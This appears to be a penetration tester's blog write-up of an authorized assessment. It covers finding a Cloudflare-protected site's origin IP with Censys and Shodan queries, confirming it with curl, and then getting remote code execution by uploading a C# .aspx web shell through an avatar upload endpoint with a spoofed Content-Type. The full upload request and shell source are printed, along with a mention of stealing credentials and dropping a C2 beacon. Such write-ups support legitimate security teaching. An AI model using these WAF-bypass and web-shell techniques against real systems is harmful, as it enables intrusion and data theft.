Press enter or click to view image in full size
There is a pervasive myth in cybersecurity that achieving Remote Code Execution (RCE) on an enterprise target requires a sophisticated 0-day exploit or months of reverse engineering. In reality, some of the most devastating breaches happen through a simple chain of logical misconfigurations. There’s a unique kind of thrill when you bypass an enterprise-grade Web Application Firewall (WAF) without actually sending a single malicious payload through it.
Recently, while performing a security assessment on a heavily defended certification portal (let’s call it “CertGuard”), I stumbled upon a classic architectural blind spot. What started as a frustrating encounter with Cloudflare evolved into a scenario where I entirely bypassed the perimeter and achieved a complete server takeover. No zero-days. No complex memory corruption. Just basic OSINT, a broken assumption, and a naked backend.
In this article, I want to walk you through the attack chain: utilizing OSINT to unmask the Origin IP, building a robust validation pipeline to bypass the WAF, and finally, exploiting an Unrestricted File Upload on the naked backend to achieve Remote Code Execution (RCE).
Disclaimer: The vulnerabilities discussed in this article were discovered during an authorized penetration test. To respect client confidentiality and adhere to non-disclosure agreements, all identifying details, company names, URLs, and sensitive data have been completely redacted or altered. This write-up is shared purely for educational purposes.
Press enter or click to view image in full size
After mapping out the application, I hit a familiar brick wall: Server: cloudflare. My standard scanning payloads were getting instantly dropped, rate-limiting was aggressive, and the WAF was doing its job perfectly.
But any pentester knows that a WAF is only as strong as the perimeter it protects. If the backend server (the Origin) is directly accessible from the public internet, the WAF is nothing more than a suggestion. I needed to unmask that Origin IP.
Finding an Origin IP is an art form. Here are my go-to techniques using OSINT search engines:
1. Historical SSL Certificates (The “Forgetful Admin” Vector)
Before moving behind a WAF, servers often host their own SSL certificates. Search engines archive this data.
host.services.cert.names: "certguard-target.com"(Pro-Tip: Companies often expose non-standard ports like 3306 or 8080 on the same IP or subnet. You can combine queries: host.services.cert.names:"certguard-target.com" and host.services.port:{"22", "3306", "3389", "8080", "27017"})
2. Unique Identifiers (The Fingerprinting Vector)
If the SSL trick doesn’t work, search for unique elements from the website’s source code indexed on raw IPs.
Google Analytics IDs: Grab the ID (e.g., UA-12345678-1) from the source.
host.services.endpoints.http.body: "UA-12345678-1"Favicon Hashes: Calculate the MurmurHash3 of the site’s favicon.
host.services.endpoints.http.favicons.hash_md5: "hash"Copyright Strings:
web.endpoints.http.body:"\u00A9 copyright CertGuard 2024"3. HTML Titles & Open Ports
Sometimes, the backend IP answers HTTP requests directly with the same title as the main site.
web.endpoints.http.html_title: "CertGuard Secure Portal"Clicking through the Censys or Shodan web interfaces is fine for a single target, but if you are doing at-scale bug bounty recon, you need automation.
You can use the official Censys Command Line Interface (cencli) to run these queries directly from your terminal. (Note: Running advanced CLI queries requires a paid/premium tier. Censys also recently updated their authentication mechanisms, so the official GitHub repo is the best place to learn the setup). For practical usage examples on how to automate your searches, check out this excellent guide: Automate your Recon with Censys: How Pro Hackers Use It.
If you want to dive deeper into advanced dorking and recon chains, here are a few highly recommended resources from the community:
Once you have a list of potential IPs from Shodan, Censys, or FOFA, you need to verify them. Many tutorials suggest simply spraying the IPs and looking for a 200 OK.
In the real world, this often fails.
If the application requires authentication, uses virtual hosting, or relies on specific API routing, hitting the root directory (/) of a raw IP will likely return a generic 401 Unauthorized, a 403 Forbidden, or a default IIS/Nginx splash page.
To distinguish your target’s infrastructure from random noise, you need a precise methodology. The correct approach relies on three core principles:
Host header, target a specific deep path (e.g., /account/profile), and pass active session cookies.Doing this manually or writing messy one-liners for every engagement gets tedious. To automate this exact workflow, I wrote a lightweight Bash script: OriginSniper.
Instead of guessing, OriginSniper automates the entire verification pipeline using httpx and gowitness.
Join Medium for free to get updates from this writer.
Here is how it handles the heavy lifting:
Host header and any cookies you provide.gowitness for immediate visual review.Instead of fighting with long commands, you can verify your entire IP list with a single run:
# Advanced Scan: Target a specific path and pass an authentication cookie
./originsniper.sh -d certguard-target.com -i potential_ips.txt -p "/account/profile" -c "ASP.NET_SessionId=YOUR_VALID_COOKIE"When the script finishes, you don’t need to sift through hundreds of generic error pages. You just look for the green EXACT match in your terminal and check the corresponding gowitness screenshot in your ./shots folder. If it matches the authenticated application—you've successfully unmasked the Origin.
Tooling Tip: You can grab the script from my GitHub repository, use it out of the box, or use its core logic as a foundation to build your own custom OSINT pipeline.
For my target, the Historical SSL method paid off. I found an IP address (198.51.100.42) belonging to a standard hosting provider.
Press enter or click to view image in full size
To verify manually, I used the curl --resolve flag, which bypasses DNS and connects directly to a specific IP, while still sending the original Host header.
curl -i -s -k -X GET "https://certguard-target.com/auth/signin" \
--resolve certguard-target.com:443:198.51.100.42 \
-H "Host: certguard-target.com"HTTP 200 OK. The server responded perfectly. No Cloudflare headers (CF-RAY, cf-cache-status), no blocks. The gates were open.
With the WAF bypassed, I configured Burp Suite to resolve certguard-target.com directly to 198.51.100.42.
Press enter or click to view image in full size
Now, every request I made went straight to the undefended backend.
This is where the concept of Defense in Depth usually falls apart. During my initial testing through Cloudflare, any attempt to upload a .aspx shell or inject malicious payloads resulted in a hard 403 Forbidden error from the WAF.
It became painfully obvious what was happening: the developers were relying entirely on the WAF to handle malicious input. They saw these 403 blocks in their Cloudflare dashboard and assumed their system was secure, treating the WAF as a silver bullet while leaving the actual backend logic completely naked.
Press enter or click to view image in full size
I navigated to the authenticated avatar upload function at POST /api/v1/account/avatar/upload. I attempted to upload a standard .png file, intercepted the request, and changed the file extension to .aspx.
Why .aspx? During my initial recon phase, the HTTP response headers from the naked Origin IP explicitly leaked Server: Microsoft-IIS/10.0 and X-Powered-By: ASP.NET. When crafting a web shell, your payload's extension must match the backend's runtime environment so the server knows to execute it rather than just serve it as a static text file.The Hacker’s
Cheat Sheet: Matching Payloads to Tech Stacks
If you are mapping a target’s infrastructure and wondering which web shell extension to use, here is a quick reference guide:
Press enter or click to view image in full size
Knowing my target was an IIS/ASP.NET environment, I crafted a basic C# web shell. To bypass the weak backend validation, I deliberately left the Content-Type header as image/png while sending my .aspx payload:
POST /api/v1/account/avatar/upload HTTP/2
Host: certguard-target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary------WebKitFormBoundary
Content-Disposition: form-data; name="UploadedImage"; filename="shell.aspx"
Content-Type: image/png
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c whoami";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
%>
------WebKitFormBoundary--
Because I was talking directly to the Origin IP, there was no WAF to intercept the payload and trigger a 403 Forbidden. The request sailed through. The backend application only checked the Content-Type provided in the request (image/png); it completely failed to validate the file extension.
Response: {"StatusCode":"200","Description":"Image Updated Successfully"}
The application helpfully stored my “avatar” in a publicly accessible directory. I navigated to the generated URL:
https://certguard-target.com/uploads/avatars/990145821.aspx
Instead of an image rendering, the IIS web server executed my C# code. The screen returned plain text:
iis apppool\webapp_workerPress enter or click to view image in full size
Boom. Remote Code Execution.
From here, I had full command execution with application pool privileges. I could read the web.config to steal database credentials, exfiltrate the PII of thousands of users, or drop a more sophisticated C2 beacon to pivot into the internal network.
This vulnerability demonstrates why infrastructure misconfigurations are so lethal. You can spend thousands of dollars on enterprise-grade WAFs, but if your Origin IP is exposed, that investment is worthless. A 403 Forbidden block from your WAF does not mean your application is secure; it just means the exploit hasn't reached your actual code yet.
I put a lot of effort into making these walkthroughs practical and clear. If you found this useful, I’d be super grateful if you gave the post a clap on Medium or left a quick comment — it really helps me create more content.
You can also follow my journey and get more pentest stories and research on Telegram: https://t.me/the_hacker_saga.
Want quick tools? Try my cybersecurity bot: @OfficialHacKitBot.
Thanks for reading — go hack (responsibly)!